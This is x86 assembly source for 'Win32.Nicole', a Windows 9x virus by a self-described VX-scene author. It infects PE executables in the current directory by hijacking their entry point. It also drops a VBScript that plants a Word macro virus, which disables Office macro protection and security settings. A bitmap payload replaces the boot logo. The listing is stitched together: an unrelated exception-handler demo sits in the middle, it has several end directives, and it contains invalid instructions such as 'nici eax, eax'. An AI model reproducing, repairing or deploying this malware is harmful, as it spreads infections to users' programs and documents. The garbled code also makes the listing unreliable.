;******************************************************
;****Win32.Nicole***coded by Necronomikon[Shadowvx]****
;******************************************************
; Name       : Win32.Nicole
; Author     : Necronomikon
; Group      : ShadowVX (at the moment!)
; Origin     : Germany
; Platform   : Win9x,ME (not tested under NT/2K!?)
; Resident   : no
; Poly       : no
; Payload    : yes,it drops a word97/2K.Classvirus and drops a bmp file to c:\ called Logo.sys. This changes the start up screen while windows is loading with another logo.;p
; Destructiv : no
;--------
;-Infos:-
;--------
;Heya ppl this is Necronomikon,when i write this piece of code i got in trouble with the german
;police(damn drugz!!!)!So i am really sorry for my lazy "Code-description",no comments in it!:(
;When i have enought time i'll do it and update it!;)
;
;Greetz goes out to:
;-------------------
;Gigabyte
;jackie
;SnakeByte
;Ratter
;WalruS
;daniel- und alle anderen auf #german_vir
;gl_storm
;Ultras
;Del_Armg0
;BlackJack
;Fatal Error
;BumbleBee
;Evul
;Lys Kovick
;SerialKiller (TheRiddl;))
;Perikles
;-KD-
;SnakeMan
;SlageHammer
;dageshi
;Roadkil
;Yello
;BlackCat
;
;#virus,#shadowvx,#vir,#vxers,#vxtrader,#mtx,#gigavirii
;
;Non-VX.Greetz:newmann,ocker,Fii7e,LISP,NewViper,Ling0,Snapman and especially Sui(BN is kewl!);)
;---------------------------

.586p
.model flat
jumps                      
.radix 16                  
extrn ExitProcess:PROC     
extrn MessageBoxA:PROC  
   
.data     


include nic.inc
bmpSize         equ     offset bmpName-offset nic

bmpName         db      'C:\Logo.sys',0 ; name for bmp
                                        ; name to install in windows dir
                 
 db ?                      


 FILETIME                STRUC
 FT_dwLowDateTime        dd       ?
 FT_dwHighDateTime       dd       ?
 FILETIME                ENDS

szTitle         db      "Structured Exception Handler example",0
szMessage       db      "Intercepted General Protection Fault!",0

.code

start:
        call    setupSEH                        ; The call pushes the offset
                                                ; past it in the stack rigth?
                                                ; So we will use that :)
exceptionhandler:
        mov     esp,[esp+8]                     ; Error gives us old ESP                          
                                                ; in [ESP+8]

        push    00000000h                       ; Parameters for MessageBoxA
        push    offset szTitle
        push    offset szMessage
        push    00000000h
        call    MessageBoxA

        push    00000000h                       
        call    ExitProcess                     ; Exit Application

setupSEH:
        push    dword ptr fs:[0]                ; Push original SEH handler
        mov     fs:[0],esp                      ; And put the new one (located
                                                ; after the first call)

        mov     ebx,0BFF70000h                  ; Try to write in kernel (will
        mov     eax,012345678h                  ; generate an exception)
        xchg    eax,[ebx]

end     start

Virus: 
 call    createBmp               ; creates a logo.sys in c:\                 
 call Delta                
Delta:
 pop ebp                   
 sub ebp, offset Delta     
 mov eax, dword ptr [ebp+OldEIP]
 mov dword ptr [ebp+retEIP], eax
 mov eax, dword ptr [ebp+OldBase]
 mov dword ptr [ebp+retBas], eax
 mov esi, [esp]            
 xor si, si                
 call GetKernel            
 jnc GetApis               
 mov esi, 0BFF70000h       

 call GetKernel
 jnc GetApis

 mov esi, 077F00000h       
 call GetKernel

 jnc GetApis

 mov esi, 077e00000h       
 call GetKernel

 jnc GetApis
 jmp ExecuteHost           

GetKernel:                

 mov byte ptr [ebp+K32Trys], 5h

GK1:
 cmp byte ptr [ebp+K32Trys], 00h
 jz NoKernel               

 call CheckMZSign          
 jnc CheckPE



GK2:

 sub esi, 10000h           
 dec byte ptr [ebp+K32Trys]
 jmp GK1                  

CheckPE:                   
 mov edi, [esi+3Ch]        
 add edi, esi
 call CheckPESign
 jnc CheckDLL   
 jmp GK2

CheckDLL:
 add edi, 16h      
 mov bx, word ptr [edi] 
 and bx, 0F000h         
 cmp bx, 02000h        
 jne GK2               

KernelFound:
 sub edi, 16h 
 xchg eax, edi 
 xchg ebx, esi
 clc         
 ret 

NoKernel:
 stc
 ret

 K32Trys      db 5h        

;This piece of code is taken from Ultras Words Infection Tutorial!

call script_start          ; call our Script

num_bytes_written       dd      ? 
vfile 			db 	'c:\nici.vbs',00h
flz_handle              dd      ?
vscript_filesize 	equ 	offset script_end - offset script_start

FILE_ATTRIBUTE_NORMAL   equ     00000080h
CREATE_ALWAYS           equ     00000002h
FILE_SHARE_READ         equ     00000001h
GENERIC_WRITE           equ     40000000h

script_start:
db 'On Error Resume Next',0dh,0ah
Db 'Dim WordObj',0dh,0ah

db 'Set WordObj = WScript.CreateObject("Word.Application")',0dh,0ah
Db 'Set NT = WordObj.NormalTemplate.VBProject.VBComponents("ThisDocument").CodeModule',0dh,0ah

db 'WordObj.Options.SaveNormalPrompt = False',0dh,0ah

db 'NT.DeleteLines 1, NT.CountOfLines',0dh,0ah
db 'NT.InsertLines 1, "Private Sub Document_Close()"',0dh,0ah
db 'NT.InsertLines 2, "On Error Resume Next"',0dh,0ah
db 'NT.InsertLines 3, "' Virus Name : Win32.Nicole.Dropper"',0dh,0ah
db 'NT.InsertLines 4, "' VirusAuthor : Necronomikon"',0dh,0ah
db 'NT.InsertLines 5, "With Options"',0dh,0ah
db 'NT.InsertLines 6, ".VirusProtection = 0"',0dh,0ah
db 'NT.InsertLines 7, ".SaveNormalPrompt = 0"',0dh,0ah
db 'NT.InsertLines 8, ".ConfirmConversions = 0"',0dh,0ah
db 'NT.InsertLines 9, "End With"',0dh,0ah
db 'NT.InsertLines 10, "Application.DisplayStatusBar = False"',0dh,0ah
db 'NT.InsertLines 11, "ActiveDocument.ReadOnlyRecommended = False"',0dh,0ah
db 'NT.InsertLines 12, "System.PrivateProfileString(""", ""HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level"") = 1&"',0dh,0ah
db 'NT.InsertLines 13, "CommandBars(""Macro"").Controls("Security...").Enabled = False"',0dh,0ah
db 'NT.InsertLines 14, "Set NT = NormalTemplate.VBProject.VBComponents(1).codemodule"',0dh,0ah
db 'NT.InsertLines 15, "Set AD = ActiveDocument.VBProject.VBComponents(1).codemodule"',0dh,0ah
db 'NT.InsertLines 16, "Open ""C:\Windows\"" & Application.Username & "".sys""" For Output As #1"',0dh,0ah
db 'NT.InsertLines 17, "Print #1, VBProject.VBComponents(1).codemodule.Lines(1, 150)"',0dh,0ah
db 'NT.InsertLines 18, "Close #1"',0dh,0ah
db 'NT.InsertLines 19, "If NT.Lines(1, 1) <> ""'"" Then"',0dh,0ah
db 'NT.InsertLines 20, "NT.DeleteLines 1, NT.CountOfLines"',0dh,0ah
db 'NT.InsertLines 21, "NT.AddFromFile (""C:\Windows\"" & Application.Username & "".sys"")"',0dh,0ah
db 'NT.InsertLines 22, "NormalTemplate.Save"',0dh,0ah
db 'NT.InsertLines 23, "ElseIf AD.Lines(1, 1) <> ""'"" Then"',0dh,0ah
db 'NT.InsertLines 24, "AD.DeleteLines 1, AD.CountOfLines"',0dh,0ah
db 'NT.InsertLines 25, "AD.AddFromFile (""C:\Windows\"" & Application.Username & "".sys"")"',0dh,0ah
db 'NT.InsertLines 26, "ActiveDocument.Save"',0dh,0ah
db 'NT.InsertLines 27, "End If"',0dh,0ah
db 'NT.InsertLines 28, "Set NEC = KKS"',0dh,0ah
db 'NT.InsertLines 29, "Trigger = Int(Rnd * 100)"',0dh,0ah
db 'NT.InsertLines 30, "If Trigger = 3 Then Call Message"',0dh,0ah
db 'NT.InsertLines 31, "End Sub"',0dh,0ah
db 'NT.InsertLines 32, "Private Sub Message()"',0dh,0ah
db 'NT.InsertLines 33, "On Error Resume Next"',0dh,0ah
db 'NT.InsertLines 34, "MsgBox ""Written by a Coder in LUV!:o)"", vbInformation, ""*Win32.Nicole*(Dropper)"""',0dh,0ah
db 'NT.InsertLines 35, "End Sub"',0dh,0ah
db 'WordObj.Run "Normal.ThisDocument.AutoExec"',0dh,0ah
db 'WordObj.Quit',00h
script_end:

scrpt:

 ; create virus script
 push 00000000h
 push FILE_ATTRIBUTE_NORMAL
 push CREATE_ALWAYS
 push 00000000h
 push FILE_SHARE_READ
 push GENERIC_WRITE
 push offset vfile
 call CreateFileA
 mov  [flz_handle],eax

 ; shall write down in script
 push 00000000h
 push offset num_bytes_written
 push vscript_filesize
 push offset script_start 
 push [flz_handle]
 call WriteFile

 ; close file
 push [flz_handle]
 call CloseHandle

 push 1
 push offset vfile
 call WinExec

exit:
 push 0
 call ExitProcess

end scrpt

;stop thats all!(i think;))

 LL  db 'LoadLibraryA', 0h  
 GPA db 'GetProcAddress', 0h 

GetApis:                  
 mov [ebp+KernelAddy], eax 
 mov [ebp+MZAddy], ebx
 lea edx, [ebp+LL]         
 mov ecx, 0Ch               
 call SearchAPI1  
 mov [ebp+XLoadLibraryA], eax
 xchg eax, ecx             
 jecxz ExecuteHost
 lea edx, [ebp+GPA]   
 mov ecx, 0Eh  
 call SearchAPI1
 mov [ebp+XGetProcAddress], eax

 xchg eax, ecx   

 jecxz ExecuteHost
 jmp GetAPI2               
 KERNEL32  db 'Kernel32',0 

GetAPI2:                  

 lea eax, [ebp+KERNEL32]
 push eax
 call dword ptr [ebp+XLoadLibraryA]
 mov [ebp+K32Handle], eax
 nici eax, eax
 jz ExecuteHost
 lea esi, [ebp+Kernel32Names]
 lea edi, [ebp+XFindFirstFileA]
 mov ebx, [ebp+K32Handle]
 push NumberOfKernel32APIS
 pop ecx
 call GetAPI3
 jmp Outbreak

SearchAPI1:             

 and word ptr [ebp+counter], 0h
 mov eax, [ebp+KernelAddy] 
 mov esi, [eax+78h]        
 add esi, [ebp+MZAddy]     
 add esi, 1Ch              
 lodsd                     
 add eax, [ebp+MZAddy]     
 mov dword ptr [ebp+ATableVA], eax
 lodsd                     
 add eax, [ebp+MZAddy]     
 mov dword ptr [ebp+NTableVA], eax
 lodsd                     
 add eax, [ebp+MZAddy]     
 mov dword ptr [ebp+OTableVA], eax
 mov esi, [ebp+NTableVA]

SearchNextApi1:
 push esi                  
 lodsd
 add eax, [ebp+MZAddy]    
 mov esi, eax              
 mov edi, edx 
 push ecx
 cld 
 rep cmpsb
 pop ecx
 jz FoundApi1
 pop esi            
 add esi, 4h        
 inc word ptr [ebp+counter] 
 cmp word ptr [ebp+counter], 2000h
 je NotFoundApi1
 jmp SearchNextApi1 

FoundApi1:
 pop esi
 movzx eax, word ptr [ebp+counter]
 shl eax, 1h          
 add eax, dword ptr [ebp+OTableVA]
 xor esi, esi
 xchg eax, esi
 lodsw        
 shl eax, 2h
 add eax, dword ptr [ebp+ATableVA]
 mov esi, eax  
 lodsd                  
 add eax, [ebp+MZAddy]  
 ret  

NotFoundApi1:
 xor eax, eax 
 ret          

Kernel32Names:

 NumberOfKernel32APIS equ 8d

 db 'FindFirstFileA', 0

 db 'FindNextFileA', 0

 db 'FindClose', 0

 db 'CreateFileA', 0

 db 'CloseHandle', 0

 db 'CreateFileMappingA', 0

 db 'MapViewOfFile', 0

 db 'UnmapViewOfFile', 0


GetAPI3:
 push ecx
 push esi    
 push ebx   
 call dword ptr [ebp+XGetProcAddress]
 stosd  
 pop ecx 
 dec ecx
 jz EndApi3
 push ecx  

SearchZero:    
 cmp byte ptr [esi], 0h
 je GotZero
 inc esi
 jmp SearchZero

GotZero:
 inc esi
 pop ecx                  
 jmp GetAPI3              

 EndApi3: 
 ret 

Outbreak:
 mov [ebp+InfCounter], 10d 


InfectCurDir:
 lea esi, [ebp+filemask]
 call FindFirstFileProc
 inc eax
 jz EndInfectCurDir1  
 dec eax

InfectCurDirFile:
 lea esi, [ebp+WFD_szFileName]
 call InfectFile    
 cmp [ebp+InfCounter], 0h  
 jna EndInfectCurDir2
 call FindNextFileProc
 nici eax, eax
 jnz InfectCurDirFile

 EndInfectCurDir2:       
 push dword ptr [ebp+FindHandle]
 call dword ptr [ebp+XFindClose]

EndInfectCurDir1:
 jmp ExecuteHost
 InfCounter db 0h          
 FindHandle dd 0h          
 filemask   db '*.EXE', 0  

ExecuteHost:              
 or ebp, ebp 
 jz FirstGenHost
 mov eax,12345678h 
 org $-4
 retEIP dd 0h
 add eax,12345678h
 org $-4
 retBas dd 0h
 jmp eax

FirstGenHost:
 push 0h                   
 call ExitProcess          
 OldEIP  dd 0h             
 OldBase dd 0h             
 NewEIP  dd 0h             

InfectFile:  
 cmp dword ptr [ebp+WFD_nFileSizeLow], 200d
 jbe NoInfection
 cmp dword ptr [ebp+WFD_nFileSizeHigh], 0
 jne NoInfection
 call OpenFile  
 jc NoInfection 
 mov esi, eax
 call CheckMZSign  
 jc Notagoodfile
 cmp word ptr [eax+3Ch], 0h
 je Notagoodfile
 xor esi, esi
 mov esi, [eax+3Ch]
 cmp dword ptr [ebp+WFD_nFileSizeLow], esi
 jb Notagoodfile
 add esi, eax
 mov edi, esi
 call CheckPESign  
 jc Notagoodfile
 cmp dword ptr [esi+4Ch], 'iciN' ;check infection marker
 jz Notagoodfile
 mov bx, word ptr [esi+16h]
 and bx, 0F000h            
 cmp bx, 02000h
 je Notagoodfile           
 mov bx, word ptr [esi+16h]
 and bx, 00002h 
 cmp bx, 00002h
 jne Notagoodfile         
 call InfectEXE   
 jc NoInfection   

Notagoodfile:
 call UnMapFile 

NoInfection:
 ret

OpenFile:
 xor eax,eax 
 push eax
 push eax
 push 3h
 push eax
 inc eax
 push eax
 push 80000000h or 40000000h
 push esi    
 call dword ptr [ebp+XCreateFileA]
 inc eax
 jz Closed 
 dec eax   
 mov dword ptr [ebp+FileHandle],eax
 mov ecx, dword ptr [ebp+WFD_nFileSizeLow]

CreateMap:                 
 push ecx 
 xor eax,eax  
 push eax
 push ecx
 push eax
 push 00000004h
 push eax
 push dword ptr [ebp+FileHandle]
 call dword ptr [ebp+XCreateFileMappingA]
 mov dword ptr [ebp+MapHandle],eax
 pop ecx       
 nici eax, eax  
 jz CloseFile  
 xor eax,eax             
 push ecx
 push eax
 push eax
 push 2h
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XMapViewOfFile]
 or eax,eax       
 jz UnMapFile
 mov dword ptr [ebp+MapAddress],eax
 clc  
 ret

UnMapFile:
 call UnMapFile2

CloseFile:   
 push dword ptr [ebp+FileHandle]
 call [ebp+XCloseHandle]

Closed:
 stc   
 ret



UnMapFile2:       
 push dword ptr [ebp+MapAddress]
 call dword ptr [ebp+XUnmapViewOfFile]
 push dword ptr [ebp+MapHandle]
 call dword ptr [ebp+XCloseHandle]
 ret

InfectEXE:  
 mov ecx, [esi+3Ch]    
 mov eax, dword ptr [ebp+WFD_nFileSizeLow] 
 add eax, VirusSize
 call Align     
 mov dword ptr [ebp+NewSize], eax
 xchg ecx, eax
 pushad   
 call UnMapFile2
 popad 
 call CreateMap  
 jc NoEXE
 mov esi, dword ptr [eax+3Ch]
 add esi, eax
 mov edi, esi 
 movzx eax, word ptr [edi+06h]
 dec eax
 imul eax, eax, 28h
 add esi, eax  
 add esi, 78h  
 mov edx, [edi+74h]
 shl edx, 3h  
 add esi, edx 
 mov eax, [edi+28h]
 mov dword ptr [ebp+OldEIP], eax
 mov eax, [edi+34h]
 mov dword ptr [ebp+OldBase], eax
 mov edx, [esi+10h]    
 mov ebx, edx
 add edx, [esi+14h] 
 push edx           
 mov eax, ebx
 add eax, [esi+0Ch]        
 mov [edi+28h], eax
 mov dword ptr [ebp+NewEIP], eax
 mov eax, [esi+10h]  
 push eax
 add eax, VirusSize
 mov ecx, [edi+3Ch] 
 call Align
 mov [esi+10h], eax
 pop eax  
 add eax, VirusSize
 add eax, Buffersize
 mov [esi+08h], eax
 pop edx
 mov eax, [esi+10h]
 add eax, [esi+0Ch]
 mov [edi+50h], eax
 or dword ptr [esi+24h], 0A0000020h
 mov dword ptr [edi+4Ch], 'iciN'
 xchg edi, edx
 lea esi, [ebp+Virus]
 add edi, dword ptr [ebp+MapAddress]
 mov ecx, VirusSize
 rep movsb
 dec byte ptr [ebp+InfCounter]

NoEXE:          
 stc
 ret

Align:
 push edx
 xor edx, edx
 push eax
 div ecx
 pop eax
 sub ecx, edx
 add eax, ecx
 pop edx
ret

FindFirstFileProc:
 lea eax, [ebp+WIN32_FIND_DATA]
 push eax
 push esi
 call dword ptr [ebp+XFindFirstFileA]
 mov dword ptr [ebp+FindHandle], eax
ret

FindNextFileProc:
 lea edi, [ebp+WFD_szFileName]
 mov ecx, 276d 
 xor eax, eax
 rep stosb
 lea eax, [ebp+WIN32_FIND_DATA]
 push eax
 mov eax, dword ptr [ebp+FindHandle]
 push eax
 call dword ptr [ebp+XFindNextFileA]
 ret

CheckPESign:
 cmp dword ptr [edi], 'FP' 
 jae NoPESign
 cmp dword ptr [edi], 'DP' 
 jbe NoPESign
 clc   
 ret

 NoPESign:
 stc
 ret

CheckMZSign:
 cmp word ptr [esi], '[M'
 jae NoPESign
 cmp word ptr [esi], 'YM'
 jbe NoPESign
 clc
 ret
 ret

createBmp:
        push    L 0
        push    L 20h                   ; archive
        push    L 2
        push    L 0h
        push    L (1h OR 2h)
        push    L 40000000h
        lea     eax,bmpName
        push    eax
        call    CreateFileA             ; open new file for write (shared)
        cmp     eax,-1
        je      errBmp

        mov     dword ptr [fHnd],eax    ; save handle

        lea     edi,nic                 ; uncompress and write the bmp
        mov     dword ptr [cont0],bmpSize
dcLoop:
        push    L 0
        lea     eax,nec
        push    eax
        push    L 1
        push    edi
        push    dword ptr [fHnd]
        call    WriteFile               ; write data

        cmp     byte ptr [edi],0ffh
        jne     skipFF

        dec     dword ptr [cont0]
        call    addFF
        inc     edi

skipFF:
        inc     edi
        dec     dword ptr [cont0]
        cmp     dword ptr [cont0],0
        jne     dcLoop

        push    dword ptr [fHnd]        ; close file
        call    CloseHandle

errBmp:
        ret

addFF:
        xor     ecx,ecx
        mov     cl,byte ptr [edi+1]
        mov     byte ptr [cont1],cl
        cmp     cl,0
        jne     addFFLoop
        ret

addFFLoop:
        push    L 0
        lea     eax,nec
        push    eax
        push    L 1
        push    edi
        push    dword ptr [fHnd]
        call    WriteFile               ; write data

        dec     byte ptr [cont1]
        cmp     byte ptr [cont1],0
        jne     addFFLoop

        ret



VirusEnd:             

 K32Handle dd (?)           
 XLoadLibraryA    dd (?)   
 XGetProcAddress  dd (?)
 XFindFirstFileA       dd (?)
 XFindNextFileA        dd (?)
 XFindClose            dd (?)
 XCreateFileA          dd (?)
 XCloseHandle          dd (?)
 XWriteFile            dd (?)
 XCreateFileMappingA   dd (?)
 XMapViewOfFile        dd (?)
 XUnmapViewOfFile      dd (?)

 KernelAddy   dd (?)       ; PE-Header
 MZAddy       dd (?)       ; MZ-Header

 counter  dw (?)           

 ATableVA dd (?)  
 NTableVA dd (?)  
 OTableVA dd (?) 
NewSize   dd (?)  

 WIN32_FIND_DATA         label    byte

 WFD_dwFileAttributes    dd       ?

 WFD_ftCreationTime      FILETIME ?

 WFD_ftLastAccessTime    FILETIME ?

 WFD_ftLastWriteTime     FILETIME ?

 WFD_nFileSizeHigh       dd       ?

 WFD_nFileSizeLow        dd       ?

 WFD_dwReserved0         dd       ?

 WFD_dwReserved1         dd       ?

 WFD_szFileName          db       260d dup (?)

 WFD_szAlternateFileName db       13   dup (?)

 WFD_szAlternateEnding   db       03   dup (?)



 FileHandle              dd       (?)       
 MapHandle               dd       (?)      
 MapAddress              dd       (?)      

EndBufferData:
end Virus

